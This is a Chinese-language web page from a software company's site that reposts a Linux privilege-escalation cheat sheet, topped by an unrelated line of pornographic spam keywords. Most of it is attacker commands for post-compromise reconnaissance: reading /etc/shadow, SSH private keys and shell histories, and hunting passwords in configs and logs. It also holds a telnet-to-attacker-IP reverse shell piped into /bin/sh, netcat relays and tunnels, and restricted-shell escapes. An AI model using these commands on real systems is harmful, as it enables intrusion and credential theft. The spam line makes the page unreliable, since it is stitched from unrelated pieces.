欧美三级国产三级日韩三级_亚洲熟妇丰满大屁股熟妇_欧美亚洲成人一区二区三区_国产精品久久久久久模特

基于Linux權(quán)限提升的信息收集 - 新聞資訊 - 云南小程序開發(fā)|云南軟件開發(fā)|云南網(wǎng)站建設(shè)-昆明葵宇信息科技有限公司

159-8711-8523

云南網(wǎng)建設(shè)/小程序開發(fā)/軟件開發(fā)

知識

不管是網(wǎng)站,軟件還是小程序,都要直接或間接能為您產(chǎn)生價值,我們在追求其視覺表現(xiàn)的同時,更側(cè)重于功能的便捷,營銷的便利,運營的高效,讓網(wǎng)站成為營銷工具,讓軟件能切實提升企業(yè)內(nèi)部管理水平和效率。優(yōu)秀的程序為后期升級提供便捷的支持!

您當(dāng)前位置>首頁 » 新聞資訊 » 技術(shù)分享 >

基于Linux權(quán)限提升的信息收集

發(fā)表時間:2020-10-18

發(fā)布人:葵宇科技

瀏覽次數(shù):35

在這里插入圖片描述

  • 操作系統(tǒng)
  • 路徑(Path)
  • 應(yīng)用與服務(wù)
  • 通訊與網(wǎng)絡(luò)
  • 機密信息和用戶
  • 文件系統(tǒng)
  • 準(zhǔn)備和查找漏洞利用代碼

操作系統(tǒng)

什么是發(fā)行類型?什么版本的?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based

什么是內(nèi)核版本?是64位嗎?

cat /proc/version
uname -a uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

從環(huán)境變量中可以收集到什么信息?環(huán)境變量中可能存在密碼或API密鑰

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env set

路徑(Path)

如果您對該變量內(nèi)的任何文件夾都具有寫權(quán)限,則可以劫持某些庫或二進制

文件:PATH
echo $ PATH**

有打印機嗎?**

lpstat -a

應(yīng)用與服務(wù)

哪些服務(wù)正在運行?哪個服務(wù)具有哪個用戶特權(quán)?

ps aux
ps -ef top
cat /etc/services

root正在運行哪些服務(wù)?在這些易受攻擊的服務(wù)中,值得仔細(xì)檢查!

ps aux | grep root ps -ef | grep root

安裝了哪些應(yīng)用程序?他們是什么版本的?他們目前在運行嗎?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

服務(wù)設(shè)置是否配置錯誤?是否附有(脆弱的)插件?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

計劃了哪些工作?(計劃任務(wù))

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

是否有純文本用戶名和/或密碼?

  • 檢查Web服務(wù)器連接到數(shù)據(jù)庫的文件(config.php或類似文件)
  • 檢查數(shù)據(jù)庫以獲取可能被重用的管理員密碼
  • 檢查弱密碼
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

通訊與網(wǎng)絡(luò)

系統(tǒng)具有哪些NIC?它是否連接到另一個網(wǎng)絡(luò)?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

什么是網(wǎng)絡(luò)配置設(shè)置?我們可以找到關(guān)于該網(wǎng)絡(luò)的哪些信息?DHCP服務(wù)
器?DNS服務(wù)器?網(wǎng)關(guān)?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

緩存了什么?IP和/或MAC地址

arp -e
route
/sbin/route -nee

數(shù)據(jù)包嗅探是否可能?可以看到什么?

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

我們有shell嗎?

nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 

是否可以進行端口轉(zhuǎn)發(fā)?重定向流量并與之交互
注意:FPipe.exe -l [本地端口] -r [遠程端口] -s [本地端口] [本地IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

注意:ssh-[L / R] [本地端口]:[遠程IP]:[遠程端口] [本地用戶] @ [本地IP]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

注意:mknod backpipe p; nc -l -p [遠程端口] <backpipe | nc [本地IP] [本地 端口]> backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe

可以使用隧道嗎?在本地遠程發(fā)送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

機密信息和用戶

id
who
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd |
awk -F: '$3 == 0 { print $1}'
cat /etc/sudoers
sudo -l

可以找到哪些敏感文件?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

home/root目錄有什么“有用”的地方嗎?如果可以訪問

ls -ahlR /root/
ls -ahlR /home/

里面有密碼嗎?腳本,數(shù)據(jù)庫,配置文件還是日志文件?密碼的默認(rèn)路徑和
位置

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

用戶正在做什么?是否有純文本密碼?他們在編輯什么?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

可以找到哪些用戶信息?

cat ~/.bashrc cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

可以找到私鑰信息嗎?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系統(tǒng)

可以在/ etc /中寫入哪些配置文件?能夠重新配置服務(wù)?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

在/ var /中可以找到什么?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

網(wǎng)站上是否有任何設(shè)置/文件(隱藏)?有數(shù)據(jù)庫信息的任何設(shè)置文件嗎?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

日志文件中是否有任何內(nèi)容(可以幫助“本地文件包含”!)

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

如果命令受到限制,我們得跳出“受到限制”外殼嗎?

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

是否存在安裝文件系統(tǒng)?

mount
df -h

是否有任何卸載的文件系統(tǒng)?

cat /etc/fstab

可以在哪里寫入和執(zhí)行?一些“常見”位置:/ tmp,/ var / tmp,/ dev /
shm

find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null 

任何“問題”文件嗎?Word可寫的“沒人”文件

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print 
find /dir -xdev \( -nouser -o -nogroup \) -print 

準(zhǔn)備和查找漏洞利用代碼

安裝/支持哪些開發(fā)工具/語言?

find / -name perl*
find / -name python*
find / -name gcc* find / -name cc

如何上傳文件?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

系統(tǒng)是否已完全打補丁?

內(nèi)核,操作系統(tǒng),所有應(yīng)用程序,其插件和Web服務(wù)

人生漫漫其修遠兮,網(wǎng)安無止境。
一同前行,加油!

相關(guān)案例查看更多